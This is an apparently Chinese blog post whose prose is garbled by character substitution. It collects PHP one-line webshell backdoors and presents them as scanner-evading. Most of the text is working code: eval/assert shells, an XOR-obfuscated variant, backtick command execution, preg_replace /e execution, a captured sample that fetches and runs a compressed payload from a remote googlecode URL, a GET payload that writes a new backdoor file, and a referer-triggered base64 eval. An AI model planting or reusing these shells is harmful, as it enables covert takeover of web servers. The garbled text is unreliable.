這類(lèi)后門(mén)讓網(wǎng)站、處事器打點(diǎn)員極端頭疼,常常要換著要領(lǐng)舉辦各類(lèi)檢測(cè),而許多新呈現(xiàn)的編寫(xiě)技能,用普通的檢測(cè)要領(lǐng)是沒(méi)法發(fā)明并處理懲罰的。本日我們細(xì)數(shù)一些有意思的PHP一句話(huà)木馬。
一個(gè)最常見(jiàn)的一句話(huà)后門(mén)大概寫(xiě)作這樣
<?php @eval($_POST['cmd']);?>
或這樣
<?php @assert($_POST['cmd']);?>
tudouya 同學(xué)在FREEBUF上給出[一種結(jié)構(gòu)能力]操作
<?php @$_++; // $_ = 1 $__=("#"^"|"); // $__ =
_ $__.=("."^"~"); // _P $__.=("/"^"`"); //
_PO $__.=("|"^"/"); // _POS $__.=("{"^"/");
// _POST ${$__}[!$_](${$__}[$_]); //
$_POST[0]($_POST[1]); ?>
結(jié)構(gòu)生成,雖然,嫌太直觀可以寫(xiě)作這樣
<?php
@$_++;$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");@${$__}[!$_](${$__}[$_]);?>
然后再填充些普通代碼舉辦偽裝,一個(gè)簡(jiǎn)樸的”免殺”shell樣本就呈現(xiàn)了
我們?cè)賮?lái)看看號(hào)稱(chēng)史上最簡(jiǎn)樸免查殺php后門(mén)
直接上代碼:
<?php
$c=urldecode($_GET['c']);if($c){`$c`;}//完整
!$_GET['c']||`{$_GET['c']}`;//精簡(jiǎn)
/*******************************************************
* 道理:PHP中``標(biāo)記包括會(huì)看成系統(tǒng)呼吁執(zhí)行
* 示例:http://host/?c=type%20config.php>config.txt
* 然后就可以下載config.txt查察內(nèi)容了!
* 可以試試更失常的呼吁,不要干壞事哦!
*******************************************************/
其實(shí)現(xiàn)道理就是PHP會(huì)直接將 ` 標(biāo)記(留意:不是單引號(hào))包括的內(nèi)容理會(huì)為系統(tǒng)呼吁執(zhí)行!這樣就可以自由失常地?cái)U(kuò)展了!
再來(lái)看同樣很簡(jiǎn)樸的一段代碼
<?php
preg_replace("/[errorpage]/e",@str_rot13([email protected]($_CBFG[cntr]);'),"saft");
?>
暗碼page
近期捕捉一個(gè)基于PHP實(shí)現(xiàn)的webshell樣本,其巧妙的代碼動(dòng)態(tài)生成方法,猥瑣的自身頁(yè)面?zhèn)窝b手法,讓我們?cè)陉U明這個(gè)樣本的進(jìn)程中感覺(jué)到相當(dāng)多的興趣。接下來(lái)就讓我們一同共賞這個(gè)奇葩的Webshell吧。
<?php
error_reporting(0);
session_start();
header("Content-type:text/html;charset=utf-8");if(empty($_SESSION['api']))
$_SESSION['api']=substr(file_get_contents(
sprintf('%s?%s',pack("H*",
'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())),3649);
@preg_replace("~(.*)~ies",gzuncompress($_SESSION['api']),null);
?>
要害看下面這句代碼,
sprintf('%s?%s',pack("H*",'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())
這里執(zhí)行之后其實(shí)是一張圖片,解密出來(lái)的圖片地點(diǎn)如下:
http://7shell.googlecode.com/svn/make.jpg?53280b00f1e85
然后挪用file_get_contents函數(shù)讀取圖片為字符串,,然后substr取3649字節(jié)之后的內(nèi)容,再挪用gzuncompress解壓,獲得真正的代碼。最后挪用preg_replace的修飾符e來(lái)執(zhí)行惡意代碼的。這里執(zhí)行以下語(yǔ)句來(lái)還原出惡意樣本代碼,
<?php
echo
gzuncompress(substr(file_get_contents(sprintf('%s?%s',pack("H*",
'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())),3649));
?>
無(wú)特征埋沒(méi)PHP一句話(huà):
<?php
session_start();
$_POST [ 'code' ] && $_SESSION [ 'theCode' ] = trim( $_POST [ 'code' ]);
$_SESSION [ 'theCode' ]&&preg_replace( ''a'eis' , 'e' . 'v' . 'a' . 'l' . '(base64_decode($_SESSION['theCode']))' , 'a' );
?>
將$_POST['code']的內(nèi)容賦值給$_SESSION['theCode'],然后執(zhí)行$_SESSION['theCode'],亮點(diǎn)是沒(méi)有特征碼。用掃描東西來(lái)查抄代碼的話(huà),是不會(huì)報(bào)警的,到達(dá)目標(biāo)了。
超等隱蔽的PHP后門(mén):
<?php $_GET [a]( $_GET [b]);?>
僅用GET函數(shù)就組成了木馬;
操作要領(lǐng):
?a=assert&b=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29};
執(zhí)行后當(dāng)前目次生成c.php一句話(huà)木馬,當(dāng)傳參a為eval時(shí)會(huì)報(bào)錯(cuò)木馬生成失敗,為assert時(shí)同樣報(bào)錯(cuò),但會(huì)生成木馬,真可謂不行小視,簡(jiǎn)簡(jiǎn)樸單的一句話(huà),被延伸到這般應(yīng)用。
層級(jí)請(qǐng)求,編碼運(yùn)行PHP后門(mén):
此要領(lǐng)用兩個(gè)文件實(shí)現(xiàn),文件1
<?php
//1.php
header( 'Content-type:text/html;charset=utf-8' );
parse_str ( $_SERVER [ 'HTTP_REFERER' ], $a );
if (reset( $a ) == '10' && count ( $a ) == 9) {
eval ( base64_decode ( str_replace ( " " , "+" , implode( array_slice ( $a , 6)))));
}
?>